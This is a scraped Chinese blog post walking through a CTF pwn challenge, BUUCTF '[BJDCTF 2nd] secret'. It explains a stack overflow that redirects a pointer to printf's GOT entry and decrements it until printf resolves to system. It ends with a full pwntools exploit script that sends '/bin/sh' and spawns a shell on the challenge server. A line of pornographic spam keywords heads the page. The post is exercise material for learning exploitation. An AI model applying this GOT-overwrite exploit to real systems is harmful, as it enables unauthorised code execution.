日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

[BUUCTF-pwn]——[BJDCTF 2nd]secret

發布時間:2024/4/17 编程问答 33 豆豆
生活随笔 收集整理的這篇文章主要介紹了 [BUUCTF-pwn]——[BJDCTF 2nd]secret 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

[BUUCTF-pwn]——[BJDCTF 2nd]secret

這道題目,看就考驗你的匯編能力了。

因為在反匯編的過程中,有一個函數過大,無法反匯編
在IDA中看到一個格外令人喜歡的東西,可是if 的條件無法反匯編。

進入匯編查看, 必須要這樣下去,才可以往下面一看絕望呀。超級多


最后才給你賦值為0,雖然這樣可以暴力破解,但是弄成千上萬次,也夠麻煩的。想要嘗試的朋友可以試試。

既然上面那種方法太過于,笨重。接著看代碼,發現

如果我們將printf的got表改為system的plt. 同時 buf寫入我們想要的 “/bin/sh" 或者 ” cat flag" 問題也就可以解決。

最后發現他們距離僅僅0x10也就是16

同時,我們發現每次轉跳都會執行,


瞌睡了送枕頭, 發現里面這個東西每次都會減一而且用的是*, 也就是如果這個是printf_got的話,每次都會讓got中的內容減一。

而它距離buf僅僅0x10,完全可以利用棧溢出進行覆蓋

思路

修改off_46D090, 為printf_got。
轉跳15次,也就是減去16
使得printf_got指向system

exploit

from pwn import *#p = process('./secret') p = remote('node3.buuoj.cn',26938) elf = ELF('./secret') printf_got = elf.got['printf']keys = [0x476B,0x2D38,0x4540,0x3E77,0x3162,0x3F7D,0x357A,0x3CF5,0x2F9E,0x41EA,0x48D8,0x2763,0x474C,0x3809,0x2E63]payload = '/bin/sh\x00'.ljust(0x10,'a') + p32(printf_got) p.sendafter("What's your name?",payload) for key in keys:p.sendlineafter('Secret:',str(key)) p.sendlineafter('Secret:','5201314')p.interactive()

總結

以上是生活随笔為你收集整理的[BUUCTF-pwn]——[BJDCTF 2nd]secret的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。